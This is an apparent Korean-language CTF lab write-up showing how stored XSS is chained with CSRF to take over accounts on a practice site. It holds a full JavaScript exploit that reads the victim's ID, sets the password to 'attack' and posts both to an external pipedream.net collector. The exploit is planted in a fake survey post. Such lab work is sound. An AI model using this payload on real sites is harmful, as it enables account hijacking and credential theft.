CSRF 공격이란 피해자 세션을 사용해 피해자 의도와 상관없이 서버로 위조된 요청을 보내는 공격이다. 게시판, 메일함과 같이 로그인 해야만 사용 가능한 서비스에서 발생하는 취약점으로 모든 요청에서 발생한다. 하지만 비밀번호 변경, 이메일 주소 변경, 관리자 계정 등록, 계정 삭제, 글 작성, 수정 등과 같은 민감한 요청에서 더욱 취약하다.
CSRF 공격을 이용해 피해자 의도와 상관없이 비밀번호 변경을 시도하겠다. 그리고 해당 취약점에 대한 개념 증명을 위해 Burpsuite Proxy 모드의 Intercept, HTTP History 기능으로 CSRF 공격을 진행하였다.
우선 취약점 발생 여부를 확인하기 위해 마이페이지에서 test
패스워드를 입력 후 수정을 진행한다.
기존 패스워드를 입력하는 추가 인증과 CSRF 토큰이 없는 것으로 보아 CSRF 취약점이 발생할 것으로 추측된다.
해당 요청은 POST 메소드를 사용한다. 만약 POST 메소드로만 요청이 수행된다면 CSRF 공격을 위해 XSS 공격을 혼합해야 한다. 따라서 GET 메소드를 사용해도 요청이 정상적으로 수행되는지 확인하겠다. HTTP History 탭에서 우클릭 해 Send to Repeater 탭을 클릭한다. 또는 단축키로 Ctrl + R 버튼을 클릭한다.
Repeater 탭에서 우클릭 해 Change request method를 클릭한다.
Get 메소드 변경 후 요청한 결과 에러가 발생했다는 응답을 반환한다. 따라서 XSS 공격을 연계해 CSRF 공격을 시도하겠다.
마이페이지가 POST 메소드로 요청을 받으므로 XSS 취약점을 확인해야 한다. 게시판의 글쓰기 기능에서 제목과 본문에 xss <script>alert(1)</script>
, xss <script>alert(2)</script>
페이로드를 삽입한다.
확인 결과, XSS 취약점이 존재한다. 게시판 페이지에서 XSS 취약점과 CSRF 취약점을 연계해 공격을 시도하겠다.
CSRF 공격을 시도하기 앞서 마이페이지 소스 코드를 파악하겠다.
<form method="post" action="mypage_update.php">
<div class="hori">
<i class="fas fa-lock fa-2x"></i>
<input name="pw" type="password" placeholder="변경할 비밀번호"/>
</div>
<div class="hori">
<i class="far fa-user fa-2x"></i>
<input name="id" type="text" placeholder="sandworm"/>
</div>
<div class="hori">
<i class="fas fa-birthday-cake fa-2x"></i>
<input name="info" type="text" placeholder="Nothing Here..."/>
</div>
<div class="hori">
<input type="submit" value="Update" id="signup-btnl"/>
</div>
</form>
자바스크립트의 fetch()
를 사용해 Stealth CSRF 공격을 시도하겠다. fetch API
는 HTTP 파이프라인을 구성하는 요청과 응답 등의 요소를 JavaScript에서 접근하고 조작할 수 있는 인터페이스를 제공한다.
<script>
fetch('http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', {method: 'POST',body: new URLSearchParams({'pw': 'attack'})})
</script>
글을 읽었을 뿐인데 피해자 의도와 상관없이 패스워드 변경을 요청한다.
공격자 관점에서 CSRF 취약점으로 발생 가능한 시나리오는 아래와 같다. 본 글에서는 3번 시나리오까지 수행한다.
마이페이지에서 피해자 아이디를 탈취한 뒤, 공격자가 원하는 비밀번호로 변경한다. 비밀번호가 정상적으로 변경되었으면 공격자 서버로 피해자 아이디와 변경된 비밀번호를 전송한다.
<script>
async function csrfExploit() {
try {
let url = "http://ctf.segfaulthub.com:7777/csrf_2/mypage.php";
let response = await fetch(url);
let html = await response.text();
let parser = new DOMParser();
let dom = parser.parseFromString(html, "text/html");
let userId = dom.forms[0].id.placeholder; // 피해자 ID 획득
let new_pw = "attack";
let mypageUrl = "http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php";
let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net";
// 비밀번호 변경
await fetch(mypageUrl, { method: "POST", body: new URLSearchParams({ pw: new_pw }) });
// 공격자 서버로 탈취한 아이디와 비밀번호 전송
await fetch(attackerUrl, { method: "POST", body: new URLSearchParams({ userId, new_pw }) });
} catch (error) {
// 익스플로잇 도중 에러 발생 시 공격자 서버로 에러 메시지 전송
let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net?error=" + error;
await fetch(attackerUrl);
}
}
csrfExploit();
</script>
설문조사 링크를 포함한 글과 악성 스크립트를 삽입하였다.
해당 글을 읽으면 아래 스크립트가 실행되어 XSS
공격과 CSRF
공격이 발생한다.
<div class = "posting_title">스타트업 설문 조사 부탁드려요!!</div>
<div class = "posting_contents">안녕하세요 새로 런칭한 소셜 커머스 관련해서 설문조사 부탁드려요 ㅎㅎ
<br>
<br>
<a href="https://naver.me/5Zv6miuq">설문 링크</a>
<script>
async function csrfExploit() {
try {
let url = "http://ctf.segfaulthub.com:7777/csrf_2/mypage.php";
let response = await fetch(url);
let html = await response.text();
let parser = new DOMParser();
let dom = parser.parseFromString(html, "text/html");
let userId = dom.forms[0].id.placeholder; // 피해자 ID 획득
let new_pw = "attack";
let mypageUrl = "http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php";
let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net";
// 비밀번호 변경
await fetch(mypageUrl, { method: "POST", body: new URLSearchParams({ pw: new_pw }) });
// 공격자 서버로 탈취한 아이디와 비밀번호 전송
await fetch(attackerUrl, { method: "POST", body: new URLSearchParams({ userId, new_pw }) });
} catch (error) {
// 익스플로잇 도중 에러 발생 시 공격자 서버로 에러 메시지 전송
let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net?error=" + error;
await fetch(attackerUrl);
}
}
csrfExploit();
</script></div>
<form method = "post" action = "mypage_update.php">
<div class = "hori">
<i class="far fa-user fa-2x"></i>
<input name = "id" type = "text" placeholder="sandworm"/>
</div>
<div class = "hori">
<i class="fas fa-birthday-cake fa-2x"></i>
<input name = "info" type = "text" placeholder="Nothing Here..."/>
</div>
<div class = "hori">
<i class="fas fa-lock fa-2x"></i>
<input name = "pw" type = "password" placeholder="변경할 비밀번호"/>
</div>
<div class = "hori"><input type = "submit" value = "Update" id = "signup-btnl"/></div>
</form>
위의 mypage.php
코드에서 보듯이 placeholder
는 ID 값을 갖고 있다. 따라서 익스플로잇 하면 mypage.php
의 html 코드를 가져와 id
파라미터를 가진 input
태그의 placeholder
값을 가져온다.
let url = "http://ctf.segfaulthub.com:7777/csrf_2/mypage.php";
let response = await fetch(url);
let html = await response.text();
let parser = new DOMParser();
let dom = parser.parseFromString(html, "text/html");
let userId = dom.forms[0].id.placeholder;
피해자 아이디를 획득하면 공격자가 설정한 패스워드인 attack
으로 변경한다.
let new_pw = "attack";
let mypageUrl = "http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php";
await fetch(mypageUrl, { method: "POST", body: new URLSearchParams({ pw: new_pw }) });
비밀번호를 성공적으로 변경하면 수정 알림이 발생하지만 이는 Burpsuite로 확인 가능할 뿐, 피해자는 비밀번호가 변경되었는지 알 수 없다.
아이디도 획득하고 비밀번호를 변경했으면 해당 정보들을 아래 그림과 같이 공격자 서버에 전송한다.
공격자 서버에 아래 그림과 같이 피해자 아이디와 비밀번호가 전달되었다. 공격자는 탈취한 계정으로 사칭, 악성 글 업로드 등 추가 범죄가 가능하다.